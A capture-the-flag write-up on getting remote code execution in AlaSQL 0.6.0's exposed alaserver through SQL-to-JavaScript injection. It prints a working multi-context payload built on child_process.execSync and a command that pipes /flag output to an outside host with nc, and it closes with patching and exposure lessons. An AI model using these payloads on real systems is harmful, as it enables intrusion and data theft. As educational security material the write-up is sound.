Almost No Code

The whole challenge is a Dockerfile and an entrypoint. There is no application source to read. The entrypoint just keeps AlaSQL’s bundled server alive:

#!/bin/bash
su node -s /bin/sh -c "while [ 1 ];do alaserver;done"

And the Dockerfile installs a specific old version, binds it to all interfaces, and drops a /flag binary we must execute:

FROM node:dubnium-alpine
ADD ./deploy /app
WORKDIR /app
RUN apk add --no-cache musl-dev gcc \
    && npm install -g alasql@0.6.0 \
    && sed -i 's/127.0.0.1/0.0.0.0/g' /usr/local/lib/node_modules/alasql/bin/alaserver.js \
    && mv docker-entrypoint.sh /usr/local/bin/ \
    && gcc /app/flag.c -o /flag \
    && chmod 111 /flag && rm /app/flag.c
ENTRYPOINT ["sh", "/usr/local/bin/docker-entrypoint.sh"]

So: AlaSQL 0.6.0, reachable over HTTP, and the goal is running /flag.

The alaserver HTTP Interface

alaserver is a testing helper documented in AlaSQL’s own README: it lets a browser fire SQL at the engine over a plain GET. The query goes in the URL, the result comes back as the body:

curl "http://host1.dreamhack.games:12389/?SELECT%20VALUE%20(2*2)"
# 4

That’s arbitrary AlaSQL execution reachable from outside. The remaining question is how far AlaSQL statements can reach into Node.

AlaSQL 0.6.0 -> RCE

AlaSQL compiles SQL down to JavaScript and evals it, and 0.6.0 has a well-known injection where SQL string context lets you splice raw JS into the generated function. The canonical escape grabs require off the main module and pulls in child_process:

new Function(
    'return this.process.mainModule.require'
)()('child_process').execSync(command)

The public PoC weaves that payload into several AlaSQL statements at once, so at least one lands regardless of which context the compiler picks (column name, value, back-quoted identifier, function call):

const genPayload = command => `
new Function('return this.process.mainModule.require')()('child_process').execSync(${JSON.stringify(command)})
`;

alasql(
    'CREATE table i_am_a_table;' +
    'INSERT INTO i_am_a_table VALUES (1337);' +
    `UPDATE i_am_a_table SET [0'+${genPayload(">&2 echo UPDATE pwned $(whoami)")}+']=42;` +
    `SELECT * from i_am_a_table where whatever=['+${genPayload(">&2 echo SELECT pwned $(whoami)")}+'];` +
    `SELECT \`'+${genPayload(">&2 echo back-quote works too $(whoami)")}+'\` from i_am_a_table where 1;` +
    `SELECT [whatever||${genPayload('>&2 echo calling function pwned')}||]('whatever');`
);

Exfiltrating the Flag

/flag prints to stdout, but our injection runs server-side with no response channel back to us, so we pipe it to a listener we control. A nc binary happens to be present in the image, which is all we need:

CREATE table i_am_a_table;INSERT INTO i_am_a_table VALUES (1337);UPDATE i_am_a_table SET [0'+new Function('return this.process.mainModule.require')()('child_process').execSync(">&2 echo UPDATE pwned $(whoami)")+']=42;SELECT * from i_am_a_table where whatever=['+new Function('return this.process.mainModule.require')()('child_process').execSync(">&2 echo SELECT pwned $(whoami)")+'];SELECT `'+new Function('return this.process.mainModule.require')()('child_process').execSync(">&2 echo back-quote works too $(/flag | nc 211.250.216.249 5555)")+'` from i_am_a_table where 1;SELECT [whatever||'+new Function('return this.process.mainModule.require')()('child_process').execSync(">&2 echo calling function pwned")+'||]('whatever');

URL-encode that into the ? query of the alaserver endpoint, with a listener waiting:

❯ nc -nlvp 5555
listening on [any] 5555 ...
connect to [172.30.1.96] from (UNKNOWN) [139.99.121.66] 33295
DH{REDACTED}

The SELECT context wrapping $(/flag | nc ...) fires, /flag runs, and its output lands on our netcat listener.

Takeaways

Two lessons stack here. First, “just a database engine” is a Node process. AlaSQL 0.6.0 compiles SQL to JS and evals it, so SQL injection is JS injection is RCE, and new Function('return this.process.mainModule.require')() is the standard escape out of any such sandbox. Second, a convenience feature (alaserver’s browser GET interface, rebound to 0.0.0.0) turned an internal testing tool into an unauthenticated public entrypoint. Pin dependencies to patched versions and never expose developer/testing servers on external interfaces.